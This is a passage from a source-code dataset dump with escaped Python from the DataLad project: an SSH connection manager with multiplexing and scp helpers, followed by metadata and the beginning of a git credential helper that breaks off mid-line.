##\\n\\\"\\\"\\\"Interface to an ssh connection.\\n\\nAllows for connecting via ssh and keeping the connection open\\n(by using a controlmaster), in order to perform several ssh commands or\\ngit calls to a ssh remote without the need to reauthenticate.\\n\\\"\\\"\\\"\\n\\nimport fasteners\\nimport os\\nimport logging\\nfrom socket import gethostname\\nfrom hashlib import md5\\nfrom subprocess import Popen\\nimport tempfile\\nimport threading\\n\\n\\n# importing the quote function here so it can always be imported from this\\n# module\\n# this used to be shlex.quote(), but is now a cross-platform helper\\nfrom datalad.utils import quote_cmdlinearg as sh_quote\\n\\n# !!! Do not import network here -- delay import, allows to shave off 50ms or so\\n# on initial import datalad time\\n# from datalad.support.network import RI, is_ssh\\n\\nfrom datalad.support.exceptions import (\\n CapturedException,\\n CommandError,\\n ConnectionOpenFailedError,\\n)\\nfrom datalad.support.external_versions import (\\n external_versions,\\n)\\nfrom datalad.utils import (\\n auto_repr,\\n Path,\\n ensure_list,\\n on_windows,\\n)\\nfrom datalad.cmd import (\\n NoCapture,\\n StdOutErrCapture,\\n WitlessRunner,\\n)\\n\\nlgr = logging.getLogger('datalad.support.sshconnector')\\n\\n\\ndef get_connection_hash(hostname, port='', username='', identity_file='',\\n bundled=None, force_ip=False):\\n \\\"\\\"\\\"Generate a hash based on SSH connection properties\\n\\n This can be used for generating filenames that are unique\\n to a connection from and to a particular machine (with\\n port and login username). The hash also contains the local\\n host name.\\n\\n Identity file corresponds to a file that will be passed via ssh's -i\\n option.\\n\\n All parameters correspond to the respective properties of an SSH\\n connection, except for `bundled`, which is unused.\\n\\n .. deprecated:: 0.16\\n The ``bundled`` argument is ignored.\\n \\\"\\\"\\\"\\n if bundled is not None:\\n import warnings\\n warnings.warn(\\n \\\"The `bundled` argument of `get_connection_hash()` is ignored. \\\"\\n \\\"It will be removed in a future release.\\\",\\n DeprecationWarning)\\n # returning only first 8 characters to minimize our chance\\n # of hitting a limit on the max path length for the Unix socket.\\n # Collisions would be very unlikely even if we used less than 8.\\n # References:\\n # https://github.com/ansible/ansible/issues/11536#issuecomment-153030743\\n # https://github.com/datalad/datalad/pull/1377\\n\\n # The \\\"# nosec\\\" below skips insecure hash checks by 'codeclimate'. The hash\\n # is not security critical, since it is only used as an \\\"abbreviation\\\" of\\n # the unique connection property string.\\n return md5( # nosec\\n '{lhost}{rhost}{port}{identity_file}{username}{force_ip}'.format(\\n lhost=gethostname(),\\n rhost=hostname,\\n port=port,\\n identity_file=identity_file,\\n username=username,\\n force_ip=force_ip or ''\\n ).encode('utf-8')).hexdigest()[:8]\\n\\n\\n@auto_repr\\nclass BaseSSHConnection(object):\\n \\\"\\\"\\\"Representation of an SSH connection.\\n \\\"\\\"\\\"\\n def __init__(self, sshri, identity_file=None,\\n use_remote_annex_bundle=None, force_ip=False):\\n \\\"\\\"\\\"Create a connection handler\\n\\n The actual opening of the connection is performed on-demand.\\n\\n Parameters\\n ----------\\n sshri: SSHRI\\n SSH resource identifier (contains all connection-relevant info),\\n or another resource identifier that can be converted into an SSHRI.\\n identity_file : str or None\\n Value to pass to ssh's -i option.\\n use_remote_annex_bundle : bool, optional\\n If enabled, look for a git-annex installation on the remote and\\n prefer its Git binaries in the search path (i.e. prefer a bundled\\n Git over a system package). See also the configuration setting\\n datalad.ssh.try-use-annex-bundled-git\\n force_ip : {False, 4, 6}\\n Force the use of IPv4 or IPv6 addresses with -4 or -6.\\n\\n .. versionchanged:: 0.16\\n The default for `use_remote_annex_bundle` changed from `True`\\n to `None`. Instead of attempting to use a potentially available\\n git-annex bundle on the remote host by default, this behavior\\n is now conditional on the `datalad.ssh.try-use-annex-bundled-git`\\n (off by default).\\n \\\"\\\"\\\"\\n self._runner = None\\n self._ssh_executable = None\\n self._ssh_version = None\\n\\n from datalad.support.network import SSHRI, is_ssh\\n if not is_ssh(sshri):\\n raise ValueError(\\n \\\"Non-SSH resource identifiers are not supported for SSH \\\"\\n \\\"connections: {}\\\".format(sshri))\\n self.sshri = SSHRI(**{k: v for k, v in sshri.fields.items()\\n if k in ('username', 'hostname', 'port')})\\n # arguments only used for opening a connection\\n self._ssh_open_args = []\\n # arguments for annex ssh invocation\\n self._ssh_args = []\\n self._ssh_open_args.extend(\\n ['-p', '{}'.format(self.sshri.port)] if self.sshri.port else [])\\n if force_ip:\\n self._ssh_open_args.append(\\\"-{}\\\".format(force_ip))\\n if identity_file:\\n self._ssh_open_args.extend([\\\"-i\\\", identity_file])\\n\\n self._use_remote_annex_bundle = use_remote_annex_bundle\\n # essential properties of the remote system\\n self._remote_props = {}\\n\\n def __call__(self, cmd, options=None, stdin=None, log_output=True):\\n \\\"\\\"\\\"Executes a command on the remote.\\n\\n It is the callers responsibility to properly quote commands\\n for remote execution (e.g. filename with spaces of other special\\n characters).\\n\\n Parameters\\n ----------\\n cmd: str\\n command to run on the remote\\n options : list of str, optional\\n Additional options to pass to the `-o` flag of `ssh`. Note: Many\\n (probably most) of the available configuration options should not be\\n set here because they can critically change the properties of the\\n connection. This exists to allow options like SendEnv to be set.\\n log_output: bool\\n Whether to capture and return stdout+stderr.\\n\\n Returns\\n -------\\n tuple of str\\n stdout, stderr of the command run, if `log_output` was `True`\\n \\\"\\\"\\\"\\n raise NotImplementedError\\n\\n def open(self):\\n \\\"\\\"\\\"Opens the connection.\\n\\n Returns\\n -------\\n bool\\n To return True if connection establishes a control socket successfully.\\n Return False otherwise\\n \\\"\\\"\\\"\\n\\n raise NotImplementedError\\n\\n def close(self):\\n \\\"\\\"\\\"Closes the connection.\\n \\\"\\\"\\\"\\n\\n raise NotImplementedError\\n\\n @property\\n def ssh_executable(self):\\n \\\"\\\"\\\"determine which ssh client executable should be used.\\n \\\"\\\"\\\"\\n if not self._ssh_executable:\\n from datalad import cfg\\n self._ssh_executable = cfg.obtain(\\\"datalad.ssh.executable\\\")\\n return self._ssh_executable\\n\\n @property\\n def runner(self):\\n if self._runner is None:\\n self._runner = WitlessRunner()\\n return self._runner\\n\\n @property\\n def ssh_version(self):\\n if self._ssh_version is None:\\n ssh_version = external_versions[\\\"cmd:ssh\\\"]\\n self._ssh_version = ssh_version.version if ssh_version else None\\n return self._ssh_version\\n\\n def _adjust_cmd_for_bundle_execution(self, cmd):\\n from datalad import cfg\\n # locate annex and set the bundled vs. system Git machinery in motion\\n if self._use_remote_annex_bundle \\\\\\n or cfg.obtain('datalad.ssh.try-use-annex-bundled-git'):\\n remote_annex_installdir = self.get_annex_installdir()\\n if remote_annex_installdir:\\n # make sure to use the bundled git version if any exists\\n cmd = '{}; {}'.format(\\n 'export \\\"PATH={}:$PATH\\\"'.format(remote_annex_installdir),\\n cmd)\\n return cmd\\n\\n def _exec_ssh(self, ssh_cmd, cmd, options=None, stdin=None, log_output=True):\\n cmd = self._adjust_cmd_for_bundle_execution(cmd)\\n\\n for opt in options or []:\\n ssh_cmd.extend([\\\"-o\\\", opt])\\n\\n # build SSH call, feed remote command as a single last argument\\n # whatever it contains will go to the remote machine for execution\\n # we cannot perform any sort of escaping, because it will limit\\n # what we can do on the remote, e.g. concatenate commands with '&&'\\n ssh_cmd += [self.sshri.as_str()] + [cmd]\\n\\n lgr.debug(\\\"%s is used to run %s\\\", self, ssh_cmd)\\n\\n # TODO: pass expect parameters from above?\\n # Hard to explain to toplevel users ... So for now, just set True\\n out = self.runner.run(\\n ssh_cmd,\\n protocol=StdOutErrCapture if log_output else NoCapture,\\n stdin=stdin)\\n return out['stdout'], out['stderr']\\n\\n def _get_scp_command_spec(self, recursive, preserve_attrs):\\n \\\"\\\"\\\"Internal helper for SCP interface methods\\\"\\\"\\\"\\n # Convert ssh's port flag (-p) to scp's (-P).\\n scp_options = [\\\"-P\\\" if x == \\\"-p\\\" else x for x in self._ssh_args]\\n # add recursive, preserve_attributes flag if recursive, preserve_attrs set and create scp command\\n scp_options += [\\\"-r\\\"] if recursive else []\\n scp_options += [\\\"-p\\\"] if preserve_attrs else []\\n return [\\\"scp\\\"] + scp_options\\n\\n def _quote_filename(self, filename):\\n if self.ssh_version and self.ssh_version[0] < 9:\\n return _quote_filename_for_scp(filename)\\n\\n # no filename quoting for OpenSSH version 9 and above\\n return filename\\n\\n def put(self, source, destination, recursive=False, preserve_attrs=False):\\n \\\"\\\"\\\"Copies source file/folder to destination on the remote.\\n\\n Note: this method performs escaping of filenames to an extent that\\n moderately weird ones should work (spaces, quotes, pipes, other\\n characters with special shell meaning), but more complicated cases\\n might require appropriate external preprocessing of filenames.\\n\\n Parameters\\n ----------\\n source : str or list\\n file/folder path(s) to copy from on local\\n destination : str\\n file/folder path to copy to on remote\\n recursive : bool\\n flag to enable recursive copying of given sources\\n preserve_attrs : bool\\n preserve modification times, access times, and modes from the\\n original file\\n\\n Returns\\n -------\\n str\\n stdout, stderr of the copy operation.\\n \\\"\\\"\\\"\\n # make sure we have an open connection, will test if action is needed\\n # by itself\\n self.open()\\n scp_cmd = self._get_scp_command_spec(recursive, preserve_attrs)\\n # add source filepath(s) to scp command\\n scp_cmd += ensure_list(source)\\n # add destination path\\n scp_cmd += ['%s:%s' % (\\n self.sshri.hostname,\\n self._quote_filename(destination),\\n )]\\n out = self.runner.run(scp_cmd, protocol=StdOutErrCapture)\\n return out['stdout'], out['stderr']\\n\\n def get(self, source, destination, recursive=False, preserve_attrs=False):\\n \\\"\\\"\\\"Copies source file/folder from remote to a local destination.\\n\\n Note: this method performs escaping of filenames to an extent that\\n moderately weird ones should work (spaces, quotes, pipes, other\\n characters with special shell meaning), but more complicated cases\\n might require appropriate external preprocessing of filenames.\\n\\n Parameters\\n ----------\\n source : str or list\\n file/folder path(s) to copy from the remote host\\n destination : str\\n file/folder path to copy to on the local host\\n recursive : bool\\n flag to enable recursive copying of given sources\\n preserve_attrs : bool\\n preserve modification times, access times, and modes from the\\n original file\\n\\n Returns\\n -------\\n str\\n stdout, stderr of the copy operation.\\n \\\"\\\"\\\"\\n # make sure we have an open connection, will test if action is needed\\n # by itself\\n self.open()\\n scp_cmd = self._get_scp_command_spec(recursive, preserve_attrs)\\n # add source filepath(s) to scp command, prefixed with the remote host\\n scp_cmd += [\\\"%s:%s\\\" % (self.sshri.hostname, self._quote_filename(s))\\n for s in ensure_list(source)]\\n # add destination path\\n scp_cmd += [destination]\\n out = self.runner.run(scp_cmd, protocol=StdOutErrCapture)\\n return out['stdout'], out['stderr']\\n\\n def get_annex_installdir(self):\\n key = 'installdir:annex'\\n if key in self._remote_props:\\n return self._remote_props[key]\\n annex_install_dir = None\\n # already set here to avoid any sort of recursion until we know\\n # more\\n self._remote_props[key] = annex_install_dir\\n try:\\n with tempfile.TemporaryFile() as tempf:\\n # TODO does not work on windows\\n annex_install_dir = self(\\n # use sh -e to be able to fail at each stage of the process\\n \\\"sh -e -c 'dirname $(readlink -f $(which git-annex-shell))'\\\"\\n , stdin=tempf\\n )[0].strip()\\n except CommandError as e:\\n lgr.debug('Failed to locate remote git-annex installation: %s',\\n CapturedException(e))\\n self._remote_props[key] = annex_install_dir\\n return annex_install_dir\\n\\n def get_annex_version(self):\\n key = 'cmd:annex'\\n if key in self._remote_props:\\n return self._remote_props[key]\\n try:\\n # modern annex versions\\n version = self('git annex version --raw')[0]\\n except CommandError:\\n # either no annex, or old version\\n try:\\n # fall back on method that could work with older installations\\n out, err = self('git annex version')\\n version = out.split('\\\\n')[0].split(':')[1].strip()\\n except CommandError as e:\\n lgr.debug('Failed to determine remote git-annex version: %s',\\n CapturedException(e))\\n version = None\\n self._remote_props[key] = version\\n return version\\n\\n def get_git_version(self):\\n key = 'cmd:git'\\n if key in self._remote_props:\\n return self._remote_props[key]\\n git_version = None\\n try:\\n git_version = self('git version')[0].split()[2]\\n except CommandError as e:\\n lgr.debug('Failed to determine Git version: %s',\\n CapturedException(e))\\n self._remote_props[key] = git_version\\n return git_version\\n\\n\\n@auto_repr\\nclass NoMultiplexSSHConnection(BaseSSHConnection):\\n \\\"\\\"\\\"Representation of an SSH connection.\\n\\n The connection is opened for execution of a single process, and closed\\n as soon as the process end.\\n \\\"\\\"\\\"\\n def __call__(self, cmd, options=None, stdin=None, log_output=True):\\n\\n # there is no dedicated \\\"open\\\" step, put all args together\\n ssh_cmd = [self.ssh_executable] + self._ssh_open_args + self._ssh_args\\n return self._exec_ssh(\\n ssh_cmd,\\n cmd,\\n options=options,\\n stdin=stdin,\\n log_output=log_output)\\n\\n def is_open(self):\\n return False\\n\\n def open(self):\\n return False\\n\\n def close(self):\\n # we perform blocking execution, we should not return from __call__ until\\n # the connection is already closed\\n pass\\n\\n\\n@auto_repr\\nclass MultiplexSSHConnection(BaseSSHConnection):\\n \\\"\\\"\\\"Representation of a (shared) ssh connection.\\n \\\"\\\"\\\"\\n def __init__(self, ctrl_path, sshri, **kwargs):\\n \\\"\\\"\\\"Create a connection handler\\n\\n The actual opening of the connection is performed on-demand.\\n\\n Parameters\\n ----------\\n ctrl_path: str\\n path to SSH controlmaster\\n sshri: SSHRI\\n SSH resource identifier (contains all connection-relevant info),\\n or another resource identifier that can be converted into an SSHRI.\\n **kwargs\\n Pass on to BaseSSHConnection\\n \\\"\\\"\\\"\\n super().__init__(sshri, **kwargs)\\n\\n # on windows cmd args lists are always converted into a string using appropriate\\n # quoting rules, on other platforms args lists are passed directly and we need\\n # to take care of quoting ourselves\\n ctrlpath_arg = \\\"ControlPath={}\\\".format(ctrl_path if on_windows else sh_quote(str(ctrl_path)))\\n self._ssh_args += [\\\"-o\\\", ctrlpath_arg]\\n self._ssh_open_args += [\\n \\\"-fN\\\",\\n \\\"-o\\\", \\\"ControlMaster=auto\\\",\\n \\\"-o\\\", \\\"ControlPersist=15m\\\",\\n ]\\n self.ctrl_path = Path(ctrl_path)\\n self._opened_by_us = False\\n # used by @fasteners.locked\\n self._lock = [\\n threading.Lock(),\\n fasteners.process_lock.InterProcessLock(self.ctrl_path.with_suffix('.lck'))\\n ]\\n\\n def __call__(self, cmd, options=None, stdin=None, log_output=True):\\n\\n # XXX: check for open socket once\\n # and provide roll back if fails to run and was not explicitly\\n # checked first\\n # MIH: this would mean that we would have to distinguish failure\\n # of a payload command from failure of SSH itself. SSH however,\\n # only distinguishes success and failure of the entire operation\\n # Increase in fragility from introspection makes a potential\\n # performance benefit a questionable improvement.\\n # make sure we have an open connection, will test if action is needed\\n # by itself\\n self.open()\\n\\n ssh_cmd = [self.ssh_executable] + self._ssh_args\\n return self._exec_ssh(\\n ssh_cmd,\\n cmd,\\n options=options,\\n stdin=stdin,\\n log_output=log_output)\\n\\n def _assemble_multiplex_ssh_cmd(self, additional_arguments):\\n return [self.ssh_executable] \\\\\\n + additional_arguments \\\\\\n + self._ssh_args \\\\\\n + [self.sshri.as_str()]\\n\\n def is_open(self):\\n if not self.ctrl_path.exists():\\n lgr.log(\\n 5,\\n \\\"Not opening %s for checking since %s does not exist\\\",\\n self, self.ctrl_path\\n )\\n return False\\n # check whether controlmaster is still running:\\n cmd = self._assemble_multiplex_ssh_cmd([\\\"-O\\\", \\\"check\\\"])\\n\\n lgr.debug(\\\"Checking %s by calling %s\\\", self, cmd)\\n try:\\n # expect_stderr since ssh would announce to stderr\\n # \\\"Master is running\\\" and that is normal, not worthy warning about\\n # etc -- we are doing the check here for successful operation\\n with tempfile.TemporaryFile() as tempf:\\n self.runner.run(\\n cmd,\\n # do not leak output\\n protocol=StdOutErrCapture,\\n stdin=tempf)\\n res = True\\n except CommandError as e:\\n if e.code != 255:\\n # this is not a normal SSH error, whine ...\\n raise e\\n # SSH died and left socket behind, or server closed connection\\n self.close()\\n res = False\\n lgr.debug(\\n \\\"Check of %s has %s\\\",\\n self,\\n {True: 'succeeded', False: 'failed'}[res])\\n return res\\n\\n @fasteners.locked\\n def open(self):\\n \\\"\\\"\\\"Opens the connection.\\n\\n In other words: Creates the SSH ControlMaster to be used by this\\n connection, if it is not there already.\\n\\n Returns\\n -------\\n bool\\n True when SSH reports success opening the connection, False when\\n a ControlMaster for an open connection already exists.\\n\\n Raises\\n ------\\n ConnectionOpenFailedError\\n When starting the SSH ControlMaster process failed.\\n \\\"\\\"\\\"\\n # the socket should vanish almost instantly when the connection closes\\n # sending explicit 'check' commands to the control master is expensive\\n # (needs tempfile to shield stdin, Runner overhead, etc...)\\n # as we do not use any advanced features (forwarding, stop[ing the\\n # master without exiting) it should be relatively safe to just perform\\n # the much cheaper check of an existing control path\\n if self.ctrl_path.exists():\\n return False\\n\\n # create ssh control master command\\n cmd = self._assemble_multiplex_ssh_cmd(self._ssh_open_args)\\n\\n # start control master:\\n lgr.debug(\\\"Opening %s by calling %s\\\", self, cmd)\\n # The following call is exempt from bandit's security checks because\\n # we/the user control the content of 'cmd'.\\n proc = Popen(cmd) # nosec\\n stdout, stderr = proc.communicate(input=\\\"\\\\n\\\") # why the f.. this is necessary?\\n\\n # wait till the command exits, connection is conclusively\\n # open or not at this point\\n exit_code = proc.wait()\\n\\n if exit_code != 0:\\n raise ConnectionOpenFailedError(\\n cmd,\\n 'Failed to open SSH connection (could not start ControlMaster process)',\\n exit_code,\\n stdout,\\n stderr,\\n )\\n self._opened_by_us = True\\n return True\\n\\n def close(self):\\n if not self._opened_by_us:\\n lgr.debug(\\\"Not closing %s since was not opened by itself\\\", self)\\n return\\n # stop controlmaster:\\n cmd = self._assemble_multiplex_ssh_cmd([\\\"-O\\\", \\\"stop\\\"])\\n lgr.debug(\\\"Closing %s by calling %s\\\", self, cmd)\\n try:\\n self.runner.run(cmd, protocol=StdOutErrCapture)\\n except CommandError as e:\\n lgr.debug(\\\"Failed to run close command\\\")\\n if self.ctrl_path.exists():\\n lgr.debug(\\\"Removing existing control path %s\\\", self.ctrl_path)\\n # socket need to go in any case\\n self.ctrl_path.unlink()\\n if e.code != 255:\\n # not a \\\"normal\\\" SSH error\\n raise e\\n\\n\\n@auto_repr\\nclass BaseSSHManager(object):\\n \\\"\\\"\\\"Interface for an SSHManager\\n \\\"\\\"\\\"\\n def ensure_initialized(self):\\n \\\"\\\"\\\"Ensures that manager is initialized\\\"\\\"\\\"\\n pass\\n\\n assure_initialized = ensure_initialized\\n\\n def get_connection(self, url, use_remote_annex_bundle=None, force_ip=False):\\n \\\"\\\"\\\"Get an SSH connection handler\\n\\n Parameters\\n ----------\\n url: str\\n ssh url\\n use_remote_annex_bundle : bool, optional\\n If enabled, look for a git-annex installation on the remote and\\n prefer its Git binaries in the search path (i.e. prefer a bundled\\n Git over a system package). See also the configuration setting\\n datalad.ssh.try-use-annex-bundled-git\\n force_ip : {False, 4, 6}\\n Force the use of IPv4 or IPv6 addresses.\\n\\n Returns\\n -------\\n BaseSSHConnection\\n\\n .. versionchanged:: 0.16\\n The default for `use_remote_annex_bundle` changed from `True`\\n to `None`. Instead of attempting to use a potentially available\\n git-annex bundle on the remote host by default, this behavior\\n is now conditional on the `datalad.ssh.try-use-annex-bundled-git`\\n (off by default).\\n \\\"\\\"\\\"\\n raise NotImplementedError\\n\\n def _prep_connection_args(self, url):\\n # parse url:\\n from datalad.support.network import RI, is_ssh\\n if isinstance(url, RI):\\n sshri = url\\n else:\\n if ':' not in url and '/' not in url:\\n # it is just a hostname\\n lgr.debug(\\\"Assuming %r is just a hostname for ssh connection\\\",\\n url)\\n url += ':'\\n sshri = RI(url)\\n\\n if not is_ssh(sshri):\\n raise ValueError(\\\"Unsupported SSH URL: '{0}', use \\\"\\n \\\"ssh://host/path or host:path syntax\\\".format(url))\\n\\n from datalad import cfg\\n identity_file = cfg.get(\\\"datalad.ssh.identityfile\\\")\\n return sshri, identity_file\\n\\n def close(self, allow_fail=True):\\n \\\"\\\"\\\"Closes all connections, known to this instance.\\n\\n Parameters\\n ----------\\n allow_fail: bool, optional\\n If True, swallow exceptions which might be thrown during\\n connection.close, and just log them at DEBUG level\\n \\\"\\\"\\\"\\n pass\\n\\n\\n@auto_repr\\nclass NoMultiplexSSHManager(BaseSSHManager):\\n \\\"\\\"\\\"Does not \\\"manage\\\" and just returns a new connection\\n \\\"\\\"\\\"\\n\\n def get_connection(self, url, use_remote_annex_bundle=None, force_ip=False):\\n sshri, identity_file = self._prep_connection_args(url)\\n\\n return NoMultiplexSSHConnection(\\n sshri,\\n identity_file=identity_file,\\n use_remote_annex_bundle=use_remote_annex_bundle,\\n force_ip=force_ip,\\n )\\n\\n\\n@auto_repr\\nclass MultiplexSSHManager(BaseSSHManager):\\n \\\"\\\"\\\"Keeps ssh connections to share. Serves singleton representation\\n per connection.\\n\\n A custom identity file can be specified via `datalad.ssh.identityfile`.\\n Callers are responsible for reloading `datalad.cfg` if they have changed\\n this value since loading datalad.\\n \\\"\\\"\\\"\\n\\n def __init__(self):\\n super().__init__()\\n self._socket_dir = None\\n self._connections = dict()\\n # Initialization of prev_connections is happening during initial\\n # handling of socket_dir, so we do not define them here explicitly\\n # to an empty list to fail if logic is violated\\n self._prev_connections = None\\n # and no explicit initialization in the constructor\\n # self.ensure_initialized()\\n\\n @property\\n def socket_dir(self):\\n \\\"\\\"\\\"Return socket_dir, and if was not defined before,\\n and also pick up all previous connections (if any)\\n \\\"\\\"\\\"\\n self.ensure_initialized()\\n return self._socket_dir\\n\\n def ensure_initialized(self):\\n \\\"\\\"\\\"Assures that manager is initialized - knows socket_dir, previous connections\\n \\\"\\\"\\\"\\n if self._socket_dir is not None:\\n return\\n from datalad import cfg\\n self._socket_dir = Path(cfg.obtain('datalad.locations.sockets'))\\n self._socket_dir.mkdir(exist_ok=True, parents=True)\\n try:\\n os.chmod(str(self._socket_dir), 0o700)\\n except OSError as exc:\\n lgr.warning(\\n \\\"Failed to (re)set permissions on the %s. \\\"\\n \\\"Most likely future communications would be impaired or fail. \\\"\\n \\\"Original exception: %s\\\",\\n self._socket_dir, CapturedException(exc)\\n )\\n\\n try:\\n self._prev_connections = [p\\n for p in self.socket_dir.iterdir()\\n if not p.is_dir()]\\n except OSError as exc:\\n self._prev_connections = []\\n lgr.warning(\\n \\\"Failed to list %s for existing sockets. \\\"\\n \\\"Most likely future communications would be impaired or fail. \\\"\\n \\\"Original exception: %s\\\",\\n self._socket_dir, CapturedException(exc)\\n )\\n\\n lgr.log(5,\\n \\\"Found %d previous connections\\\",\\n len(self._prev_connections))\\n assure_initialized = ensure_initialized\\n\\n def get_connection(self, url, use_remote_annex_bundle=None, force_ip=False):\\n\\n sshri, identity_file = self._prep_connection_args(url)\\n\\n conhash = get_connection_hash(\\n sshri.hostname,\\n port=sshri.port,\\n identity_file=identity_file or \\\"\\\",\\n username=sshri.username,\\n force_ip=force_ip,\\n )\\n # determine control master:\\n ctrl_path = self.socket_dir / conhash\\n\\n # do we know it already?\\n if ctrl_path in self._connections:\\n return self._connections[ctrl_path]\\n else:\\n c = MultiplexSSHConnection(\\n ctrl_path, sshri, identity_file=identity_file,\\n use_remote_annex_bundle=use_remote_annex_bundle,\\n force_ip=force_ip)\\n self._connections[ctrl_path] = c\\n return c\\n\\n def close(self, allow_fail=True, ctrl_path=None):\\n \\\"\\\"\\\"Closes all connections, known to this instance.\\n\\n Parameters\\n ----------\\n allow_fail: bool, optional\\n If True, swallow exceptions which might be thrown during\\n connection.close, and just log them at DEBUG level\\n ctrl_path: str, Path, or list of str or Path, optional\\n If specified, only the path(s) provided would be considered\\n \\\"\\\"\\\"\\n if self._connections:\\n ctrl_paths = [Path(p) for p in ensure_list(ctrl_path)]\\n to_close = [c for c in self._connections\\n # don't close if connection wasn't opened by SSHManager\\n if self._connections[c].ctrl_path\\n not in self._prev_connections and\\n self._connections[c].ctrl_path.exists()\\n and (not ctrl_paths\\n or self._connections[c].ctrl_path in ctrl_paths)]\\n if to_close:\\n lgr.debug(\\\"Closing %d SSH connections...\\\", len(to_close))\\n for cnct in to_close:\\n f = self._connections[cnct].close\\n if allow_fail:\\n f()\\n else:\\n try:\\n f()\\n except Exception as exc:\\n ce = CapturedException(exc)\\n lgr.debug(\\\"Failed to close a connection: \\\"\\n \\\"%s\\\", ce.message)\\n self._connections = dict()\\n\\n\\n# retain backward compat with 0.13.4 and earlier\\n# should be ok since cfg already defined by the time this one is imported\\nfrom .. import cfg\\nif cfg.obtain('datalad.ssh.multiplex-connections'):\\n SSHManager = MultiplexSSHManager\\n SSHConnection = MultiplexSSHConnection\\nelse:\\n SSHManager = NoMultiplexSSHManager\\n SSHConnection = NoMultiplexSSHConnection\\n\\n\\ndef _quote_filename_for_scp(name):\\n \\\"\\\"\\\"Manually escape shell goodies in a file name.\\n\\n Why manual? Because the author couldn't find a better way, and\\n simply quoting the entire filename does not work with SCP's overly\\n strict file matching criteria (likely a bug on their side).\\n\\n Hence this beauty:\\n \\\"\\\"\\\"\\n for s, t in (\\n (' ', '\\\\\\\\ '),\\n ('\\\"', '\\\\\\\\\\\"'),\\n (\\\"'\\\", \\\"\\\\\\\\'\\\"),\\n (\\\"&\\\", \\\"\\\\\\\\&\\\"),\\n (\\\"|\\\", \\\"\\\\\\\\|\\\"),\\n (\\\">\\\", \\\"\\\\\\\\>\\\"),\\n (\\\"<\\\", \\\"\\\\\\\\<\\\"),\\n (\\\";\\\", \\\"\\\\\\\\;\\\")):\\n name = name.replace(s, t)\\n return name\\n\"\n },\n {\n \"alpha_fraction\": 0.6507764458656311,\n \"alphanum_fraction\": 0.6518598794937134,\n \"avg_line_length\": 42.72105407714844,\n \"blob_id\": \"8604d6e5bc61c83ea72628b65f67f62cf751c3eb\",\n \"content_id\": \"2a7626d98df2e2fef50af71ad5e908d0a44c442f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\",\n \"LicenseRef-scancode-unknown-license-reference\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 8307,\n \"license_type\": \"permissive\",\n \"max_line_length\": 80,\n \"num_lines\": 190,\n \"path\": \"/datalad/local/gitcredential_datalad.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\n\\nfrom datalad.downloaders import (\\n GitCredential,\\n UserPassword,\\n)\\nfrom datalad.downloaders.providers import (\\n AUTHENTICATION_TYPES,\\n Providers,\\n)\\nfrom datalad.local.gitcredential import _credspec2dict\\nfrom datalad import ConfigManager\\n\\ngit_credential_datalad_help = \\\"\\\"\\\"\\\\\\nGit credential interface to DataLad's credential management system.\\n\\nIn order to use this, one needs to configure git to use the credential helper\\n'datalad'. In the simplest case this can be achieved by 'git config --add\\n--global credential.helper datalad'. This can be restricted to apply to\\ncertain URLs only. See 'man gitcredentials' and\\nhttp://docs.datalad.org/credentials.html for details.\\n\\nOnly DataLad's UserPassword-type credentials are supported. This helper\\npasses standard 'get', 'store' actions on to the respective interfaces in\\nDataLad.\\nThe 'erase' action is not supported, since this is called by Git, when the\\ncredentials didn't work for a URL. However, DataLad's providers store a regex\\nfor matching URLs. That regex-credential combo may still be valid and simply\\ntoo broad. We wouldn't want to auto-delete in that case. Another case is a\\nsomewhat circular setup: Another credential-helper provided the credentials and\\nis also used by DataLad. The provider config connecting it to DataLad could be\\nintentionally broad. Deleting credentials from keyring but keeping the provider\\nconfig pointing to them, on the other hand, would be even worse, as it would\\ninvalidate the provider config and also means rejecting credentials w/o context.\\nHence, this helper doesn't do anything on 'erase' at the moment.\\n\\nusage: git credential-datalad [option] <action>\\n\\noptions:\\n -h Show this help.\\n\\nIf DataLad's config variable 'datalad.credentials.githelper.noninteractive' is\\nset: Don't ask for user confirmation when storing to DataLad's credential\\nsystem. This may fail if default names result in a conflict with existing ones.\\nThis mode is used for DataLad's CI tests. Note, that this config can not\\nreliably be read from local configs (a repository's .git/config or\\n.datalad/config) as this credential helper when called by Git doesn't get to\\nknow what repository it is operating on.\\n\\\"\\\"\\\"\\n\\n\\ndef git_credential_datalad():\\n \\\"\\\"\\\"Entrypoint to query DataLad's credentials via git-credential\\n \\\"\\\"\\\"\\n\\n if len(sys.argv) != 2 \\\\\\n or sys.argv[1] == \\\"-h\\\" \\\\\\n or sys.argv[1] not in ['get', 'store', 'erase']:\\n help_explicit = sys.argv[1] == \\\"-h\\\"\\n print(git_credential_datalad_help,\\n file=sys.stdout if help_explicit else sys.stderr)\\n sys.exit(0 if help_explicit else 1)\\n\\n cfg = ConfigManager()\\n interactive = not cfg.obtain(\\\"datalad.credentials.githelper.noninteractive\\\")\\n action = sys.argv[-1]\\n attrs = _credspec2dict(sys.stdin)\\n\\n # This helper is intended to be called by git. While git-credential takes a\\n # `url` property of the description, what it passes on is `protocol`, `host`\\n # and potentially `path` (if instructed to useHttpPath by config).\\n # For communication with datalad's credential system, we need to reconstruct\\n # the url, though.\\n assert 'protocol' in attrs.keys()\\n assert 'host' in attrs.keys()\\n if 'url' not in attrs:\\n attrs['url'] = \\\"{protocol}://{host}{path}\\\".format(\\n protocol=attrs.get('protocol'),\\n host=attrs.get('host'),\\n path=\\\"/{}\\\".format(attrs.get('path')) if 'path' in attrs else \\\"\\\"\\n )\\n\\n # Get datalad's provider configs.\\n providers = Providers.from_config_files()\\n\\n if action == 'get':\\n _action_get(attrs, providers)\\n elif action == 'store':\\n _action_store(attrs, interactive, providers)\\n\\n\\ndef _action_store(attrs, interactive, providers):\\n # Determine the defaults to use for storing. In non-interactive mode,\\n # this is what's going to be stored, in interactive mode user is\\n # presented with them as default choice.\\n # We don't really know what authentication type makes sense to store in\\n # the provider config (this would be relevant for datalad using those\\n # credentials w/o git).\\n # However, pick 'http_basic_auth' in case of HTTP(S) URL and 'none'\\n # otherwise as the default to pass into store routine.\\n if attrs.get('protocol') in ['http', 'https']:\\n authentication_type = 'http_basic_auth'\\n else:\\n authentication_type = 'none'\\n # If we got a `path` component from git, usehttppath is set and thereby\\n # git was instructed to include it when matching. Hence, do the same.\\n url_re = 